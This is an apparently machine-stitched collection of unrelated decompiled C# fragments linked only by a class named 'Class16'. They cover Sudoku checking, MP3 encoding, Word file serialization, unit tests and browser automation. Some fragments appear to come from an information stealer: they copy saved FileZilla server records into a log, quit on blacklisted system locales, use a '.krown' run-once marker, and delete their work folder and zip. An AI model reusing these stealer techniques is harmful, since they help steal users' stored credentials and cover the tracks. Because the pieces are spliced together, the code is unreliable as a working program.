private void Check_Click(object sender, EventArgs e) { Class16 n10 = new Class16(); //Nạp ma trận lên và hiển thị hình ảnh TextBox[,] lbl = n16.clickMove81toArray( lbl0101, lbl0102, lbl0103, lbl0104, lbl0105, lbl0106, lbl0107, lbl0108, lbl0109, lbl0110, lbl0111, lbl0112, lbl0113, lbl0114, lbl0115, lbl0116, lbl0201, lbl0202, lbl0203, lbl0204, lbl0205, lbl0206, lbl0207, lbl0208, lbl0209, lbl0210, lbl0211, lbl0212, lbl0213, lbl0214, lbl0215, lbl0216, lbl0301, lbl0302, lbl0303, lbl0304, lbl0305, lbl0306, lbl0307, lbl0308, lbl0309, lbl0310, lbl0311, lbl0312, lbl0313, lbl0314, lbl0315, lbl0316, lbl0401, lbl0402, lbl0403, lbl0404, lbl0405, lbl0406, lbl0407, lbl0408, lbl0409, lbl0410, lbl0411, lbl0412, lbl0413, lbl0414, lbl0415, lbl0416, lbl0501, lbl0502, lbl0503, lbl0504, lbl0505, lbl0506, lbl0507, lbl0508, lbl0509, lbl0510, lbl0511, lbl0512, lbl0513, lbl0514, lbl0515, lbl0516, lbl0601, lbl0602, lbl0603, lbl0604, lbl0605, lbl0606, lbl0607, lbl0608, lbl0609, lbl0610, lbl0611, lbl0612, lbl0613, lbl0614, lbl0615, lbl0616, lbl0701, lbl0702, lbl0703, lbl0704, lbl0705, lbl0706, lbl0707, lbl0708, lbl0709, lbl0710, lbl0711, lbl0712, lbl0713, lbl0714, lbl0715, lbl0716, lbl0801, lbl0802, lbl0803, lbl0804, lbl0805, lbl0806, lbl0807, lbl0808, lbl0809, lbl0810, lbl0811, lbl0812, lbl0813, lbl0814, lbl0815, lbl0816, lbl0901, lbl0902, lbl0903, lbl0904, lbl0905, lbl0906, lbl0907, lbl0908, lbl0909, lbl0910, lbl0911, lbl0912, lbl0913, lbl0914, lbl0915, lbl0916, lbl1001, lbl1002, lbl1003, lbl1004, lbl1005, lbl1006, lbl1007, lbl1008, lbl1009, lbl1010, lbl1011, lbl1012, lbl1013, lbl1014, lbl1015, lbl1016, lbl1101, lbl1102, lbl1103, lbl1104, lbl1105, lbl1106, lbl1107, lbl1108, lbl1109, lbl1110, lbl1111, lbl1112, lbl1113, lbl1114, lbl1115, lbl1116, lbl1201, lbl1202, lbl1203, lbl1204, lbl1205, lbl1206, lbl1207, lbl1208, lbl1209, lbl1210, lbl1211, lbl1212, lbl1213, lbl1214, lbl1215, lbl1216, lbl1301, lbl1302, lbl1303, lbl1304, lbl1305, lbl1306, lbl1307, lbl1308, lbl1309, lbl1310, lbl1311, lbl1312, lbl1313, lbl1314, lbl1315, lbl1316, lbl1401, lbl1402, lbl1403, lbl1404, lbl1405, lbl1406, lbl1407, lbl1408, lbl1409, lbl1410, lbl1411, lbl1412, lbl1413, lbl1414, lbl1415, lbl1416, lbl1501, lbl1502, lbl1503, lbl1504, lbl1505, lbl1506, lbl1507, lbl1508, lbl1509, lbl1510, lbl1511, lbl1512, lbl1513, lbl1514, lbl1515, lbl1516, lbl1601, lbl1602, lbl1603, lbl1604, lbl1605, lbl1606, lbl1607, lbl1608, lbl1609, lbl1610, lbl1611, lbl1612, lbl1613, lbl1614, lbl1615, lbl1616, nb); if (n16.checkFeasible(nb, 16) == false) { MessageBox.Show("Can't play this! You must clear and replay", "Check Maxtrix", MessageBoxButtons.OK, MessageBoxIcon.Information); } else { MessageBox.Show("It all ok ! You can continue", "Check Maxtrix", MessageBoxButtons.OK, MessageBoxIcon.Information); } }
public static Class16 smethod_0(GenericAudioStream stream10, Stream stream1, int int3, int int4) { var waveFormat = stream10.vmethod_0(); if (waveFormat.waveFormatTag_0 != WaveFormatTag.Pcm || waveFormat.short_2 != 16) { stream10 = new Stream4(stream10, 16); waveFormat = stream10.vmethod_0(); } var stream = new Stream16(stream1, waveFormat, (waveFormat.int_0 == int3) ? new BeConfig(waveFormat, (uint)int4) : new BeConfig(waveFormat, (uint)int4, (uint)int3)); var uint_ = (uint)stream.vmethod_1().Position; var array = new byte[stream.method_0() * 2]; Class16 result; try { int count; while ((count = stream10.Read(array, 0, array.Length)) > 0) { stream.Write(array, 0, count); } result = new Class16(new WaveFormat(int3, waveFormat.short_0), uint_, (uint)stream.vmethod_1().Length, int4 * 1000); } finally { stream.method_1(); } return(result); }
public static Class16 smethod_2(Stream stream1, TimeSpan timeSpan0, int int3, int int4, bool bool1) { var waveFormat = new WaveFormat(int3, 16, bool1 ? 2 : 1); var stream = new Stream16(stream1, waveFormat, new BeConfig(waveFormat, (uint)int4)); var uint_ = (uint)stream.vmethod_1().Position; var array = new byte[stream.method_0() * 2]; Class16 result; try { var num = 0; var num2 = (int)(timeSpan0.TotalSeconds * waveFormat.int_1); int count; while ((count = Math.Min(num2 - num - array.Length, array.Length)) > 0) { stream.Write(array, 0, count); num += array.Length; } result = new Class16(waveFormat, uint_, (uint)stream.vmethod_1().Length, int4 * 1000); } finally { stream.method_1(); } return(result); }
public static Class16 smethod_0(GenericAudioStream stream1_0, Stream stream_1, int int_3, int int_4) { WaveFormat waveFormat = stream1_0.vmethod_0(); if (waveFormat.waveFormatTag_0 != WaveFormatTag.PCM || waveFormat.short_2 != 16) { stream1_0 = new Stream4(stream1_0, 16); waveFormat = stream1_0.vmethod_0(); } Stream16 stream = new Stream16(stream_1, waveFormat, (waveFormat.int_0 == int_3) ? new BE_CONFIG(waveFormat, (uint)int_4) : new BE_CONFIG(waveFormat, (uint)int_4, (uint)int_3)); uint uint_ = (uint)stream.vmethod_1().Position; byte[] array = new byte[stream.method_0() * 2]; Class16 result; try { int count; while ((count = stream1_0.Read(array, 0, array.Length)) > 0) { stream.Write(array, 0, count); } result = new Class16(new WaveFormat(int_3, (int)waveFormat.short_0), uint_, (uint)stream.vmethod_1().Length, int_4 * 1000); } finally { stream.method_1(); } return(result); }
public static Class16 smethod_2(Stream stream_1, TimeSpan timeSpan_0, int int_3, int int_4, bool bool_1) { WaveFormat waveFormat = new WaveFormat(int_3, 16, bool_1 ? 2 : 1); Stream16 stream = new Stream16(stream_1, waveFormat, new BE_CONFIG(waveFormat, (uint)int_4)); uint uint_ = (uint)stream.vmethod_1().Position; byte[] array = new byte[stream.method_0() * 2]; Class16 result; try { int num = 0; int num2 = (int)(timeSpan_0.TotalSeconds * (double)waveFormat.int_1); int count; while ((count = Math.Min(num2 - num - array.Length, array.Length)) > 0) { stream.Write(array, 0, count); num += array.Length; } result = new Class16(waveFormat, uint_, (uint)stream.vmethod_1().Length, int_4 * 1000); } finally { stream.method_1(); } return(result); }
internal Class16 method_77() { Class16 class2 = new Class16(); class2.method_26(this); return(class2); }
internal bool method_50(Class16 A_0) { if (object.ReferenceEquals(null, A_0)) { return(false); } return(object.ReferenceEquals(this, A_0) || (((((this.method_62() == A_0.method_62()) && (this.method_60() == A_0.method_60())) && ((this.method_56() == A_0.method_56()) && (this.method_64() == A_0.method_64()))) && (((this.method_66() == A_0.method_66()) && (this.method_68() == A_0.method_68())) && ((this.method_70() == A_0.method_70()) && (this.method_72() == A_0.method_72())))) && (this.method_74() == A_0.method_74()))); }
public void Test1() { int[] expected = new int[] { 0, 3 }; int[] input = new int[] { 2, 4, -2, 1, -3, 5, -3 }; var actual = Class16.TargetSumSubarray(input, 5); Assert.Equal(expected, actual); }
public void Test2() { int[] expected = new int[] { 1, 2 }; int[] input = new int[] { -1, 2, 3 }; var actual = Class16.TargetSumSubarray(input, 5); Assert.Equal(expected, actual); }
public void Test4() { int[] expected = null; int[] input = null; var actual = Class16.TargetSumSubarray(input, 5); Assert.Equal(expected, actual); }
// Token: 0x0600021C RID: 540 RVA: 0x00005171 File Offset: 0x00003371 public static void smethod_0(string string_1) { if (File.Exists(Class16.string_0)) { Directory.CreateDirectory(string_1 + "\\FileZilla"); Class16.smethod_1(Class16.string_0, string_1 + "\\FileZilla\\FileZilla.log", "RecentServers", "Server"); } }
internal override void vmethod_4(Class16 A_0) { int num = 8; if (A_0 != null) { base.method_33(BookmarkStart.b("夭ਯ䄱尳刵", num), new object[] { BookmarkStart.b("夭ਯ䐱唳娵", num), Class417.smethod_35(A_0.method_62(), false), BookmarkStart.b("夭ਯ儱嬳娵圷䠹", num), A_0.method_60(), BookmarkStart.b("夭ਯ吱崳娵吷", num), A_0.method_56() }); } }
protected void method_43(int A_0, WordAttrCollection A_1) { Class16 class2 = (Class16)A_1.method_31(A_0); Class16 class3 = Class1106.smethod_1(this.binaryReader_0, class2); if (class3 != null) { A_1.SetAttr(A_0, class3); } }
protected void method_33(SprmCode A_0, object A_1) { Class16 class2 = (Class16)A_1; if (((class2 != null) && (class2.OwnerBase == null)) && !class2.IsDefault) { this.class345_0.method_5(A_0); Class1106.smethod_2(class2, this.class345_0); } }
private static void smethod_1(BinaryReader A_0, WordAttrCollection A_1, SprmCode A_2) { Class16 class2 = (Class16)A_1.method_31(0xc62); Class16 class3 = (A_2 == SprmCode.TCellShd) ? Class1106.smethod_0(A_0, class2) : Class1106.smethod_1(A_0, class2); if (class3 != null) { A_1.SetAttr(0xc62, class3); } }
internal static void smethod_4(Class16 A_0, BinaryWriter A_1, bool A_2) { if (A_2) { smethod_3(A_0, A_1); } else { smethod_2(A_0, A_1); } }
public bool method_1(GClass0 gclass0_0) { Class16 class2 = new Class16 { browserForm_0 = this, gclass0_0 = gclass0_0 }; class2.gclass4_0 = class2.gclass0_0.checkoutProfile; this.chromiumWebBrowser_0.LoadingStateChanged += new EventHandler <LoadingStateChangedEventArgs>(class2.method_0); return(true); }
internal static Class16 smethod_0(BinaryReader A_0, Class16 A_1) { if (A_1 == null) { A_1 = new Class16(); } int num = A_0.ReadUInt16(); A_1.method_61(Class624.smethod_1(((Word97Color)num) & (Word97Color.LightGray | Word97Color.DarkGray))); A_1.method_57(Class624.smethod_1((Word97Color)((num & 0x3e0) >> 5))); A_1.method_63((TextureStyle)((num & 0xfc00) >> 10)); return(A_1); }
public void test() { MDependency16.AllInstances.generate = _ => { // Breaks test case: Assert.AreEqual(1, 2); return(123); }; Class16 clazz = new Class16(); Assert.AreEqual(2 * 123, clazz.generate()); }
internal static void smethod_3(Class16 A_0, BinaryWriter A_1) { if (A_0.method_62() == TextureStyle.TextureNil) { A_1.Write(uint.MaxValue); A_1.Write(uint.MaxValue); A_1.Write((ushort)0xffff); } else { A_1.Write(Class624.smethod_6(A_0.method_60())); A_1.Write(Class624.smethod_6(A_0.method_56())); A_1.Write((ushort)A_0.method_62()); } }
internal static void smethod_2(Class16 A_0, BinaryWriter A_1) { int num = 0; if (A_0.method_62() == TextureStyle.TextureNil) { num = 0xffff; } else { num |= Class624.smethod_0(A_0.method_60()); num |= ((int)Class624.smethod_0(A_0.method_56())) << 5; num |= ((int)A_0.method_62()) << 10; } A_1.Write((ushort)num); }
public MP3Output(GenericAudioStream stream1_1, bool bool_1) { if (stream1_1.Length <= 0L) { throw new Exception("WinMM2Player: Invalid Stream."); } this.class16_0 = stream1_1.vmethod_1(); if (this.class16_0.waveFormat_0.waveFormatTag_0 != WaveFormatTag.PCM && this.class16_0.waveFormat_0.waveFormatTag_0 != WaveFormatTag.IEEEFloat) { throw new Exception("WinMM2Player: Only PCM is supported."); } this.stream1_0 = stream1_1; this.bool_0 = bool_1; this.SetStartingTimeBasedOnSomeValue(0); this.enum1_0 = AudioStatus.ShouldStopAudio; }
// Token: 0x06000165 RID: 357 RVA: 0x0000CA54 File Offset: 0x0000AC54 public static void smethod_4() { foreach (object obj in InputLanguage.InstalledInputLanguages) { InputLanguage inputLanguage = (InputLanguage)obj; string text = Convert.ToString(inputLanguage.Culture); foreach (string value in Dirs.BlackList) { if (text.Contains(value)) { Class16.MeHrHinQr8(); Environment.Exit(0); } } } }
// Token: 0x06000164 RID: 356 RVA: 0x0000CA00 File Offset: 0x0000AC00 public static string smethod_3() { try { ManagementObject managementObject = Class16.smethod_2("Win32_OperatingSystem"); if (managementObject == null) { return(string.Empty); } return(managementObject["Version"] as string); } catch { } return(Class16.smethod_3()); }
// Token: 0x06000169 RID: 361 RVA: 0x0000CC10 File Offset: 0x0000AE10 public static void smethod_7() { DirectoryInfo directoryInfo_ = new DirectoryInfo(Dirs.WorkDir); Class16.smethod_0(directoryInfo_); Class17.smethod_0(); File.Delete(string.Concat(new string[] { Dirs.Temp, "\\", Class28.string_0, "_", Class28.string_1, ".zip" })); }
private void method_52(Class16 A_0) { int num = 15; if (A_0 == null) { throw new ArgumentNullException(BookmarkStart.b("䘴䔶娸", num)); } this.int_8 = A_0.int_8; if (base.HasKey(1)) { this.method_63(A_0.method_62()); } if (base.HasKey(2)) { this.method_59(A_0.method_60()); } if (base.HasKey(3)) { this.method_55(A_0.method_56()); } if (base.HasKey(4)) { this.method_65(A_0.method_64()); } if (base.HasKey(5)) { this.method_67(A_0.method_66()); } if (base.HasKey(6)) { this.method_69(A_0.method_68()); } if (base.HasKey(7)) { this.method_71(A_0.method_70()); } if (base.HasKey(8)) { this.method_73(A_0.method_72()); } if (base.HasKey(9)) { this.method_75(A_0.method_74()); } }
public Mp3Output(GenericAudioStream stream11, bool bool1) { if (stream11.Length <= 0L) { throw new Exception("WinMM2Player: Invalid Stream."); } _class160 = stream11.vmethod_1(); if (_class160.WaveFormat0.waveFormatTag_0 != WaveFormatTag.Pcm && _class160.WaveFormat0.waveFormatTag_0 != WaveFormatTag.IeeeFloat) { throw new Exception("WinMM2Player: Only PCM is supported."); } _stream10 = stream11; _bool0 = bool1; SetStartingTimeBasedOnSomeValue(0); _enum10 = AudioStatus.ShouldStopAudio; }
// Token: 0x06000161 RID: 353 RVA: 0x0000C8B8 File Offset: 0x0000AAB8 public static void smethod_0(DirectoryInfo directoryInfo_0) { try { foreach (FileInfo fileInfo in directoryInfo_0.GetFiles()) { fileInfo.Delete(); } foreach (DirectoryInfo directoryInfo in directoryInfo_0.GetDirectories()) { Class16.smethod_0(directoryInfo); directoryInfo.Delete(); } } catch { } }
// Token: 0x06000166 RID: 358 RVA: 0x0000CAE8 File Offset: 0x0000ACE8 public static void smethod_5() { try { if (File.Exists(Dirs.Temp + "\\" + Environment.UserName + ".krown")) { Class16.MeHrHinQr8(); Environment.Exit(0); } else { File.Create(Dirs.Temp + "\\" + Environment.UserName + ".krown"); } } catch { } }
internal void method_18(SprmCode A_0) { int num = 3; if (this.method_19(A_0)) { int num5; int num2 = smethod_0(A_0); bool flag = A_0 != SprmCode.TCellShd; int count = 0; if (flag) { num5 = num2 * 0x16; if (num5 >= this.class732_0.Count) { return; } count = Math.Min(this.class732_0.Count, (num2 + 1) * 0x16); } else { num5 = 0; count = this.class732_0.Count; } int num6 = count - num5; int num7 = num6 * Class1106.smethod_5(flag); if (num7 > 220) { throw new InvalidOperationException(BookmarkStart.b("樨个䄬䌮ᄰ䀲崴嘶崸刺匼堾慀あ㕄㕆⑈歊㱎煐❒㩔㡖祘㝚㉜ㅞ٠䵢", num)); } this.class345_0.method_5(A_0); this.class345_0.Write((byte)num7); for (int i = num5; i < count; i++) { Class16 class2 = (Class16)this.class732_0.method_0(i).method_31(0xc62); if ((class2 == null) || (class2.OwnerBase != null)) { class2 = class16_0; } Class1106.smethod_4(class2, this.class345_0, flag); } } }
private void method_2(int int_1) { Class16 class2 = new Class16(this.Reader.ReadUTF(), this.Reader.ReadUTF()); int num2 = this.Reader.ReadInt(); int i = 1; while ((i <= num2)) { class2.method_1(this.Reader.ReadUTF(), this.Reader); i += 1; } this.dictionary_0.Add(int_1, class2); }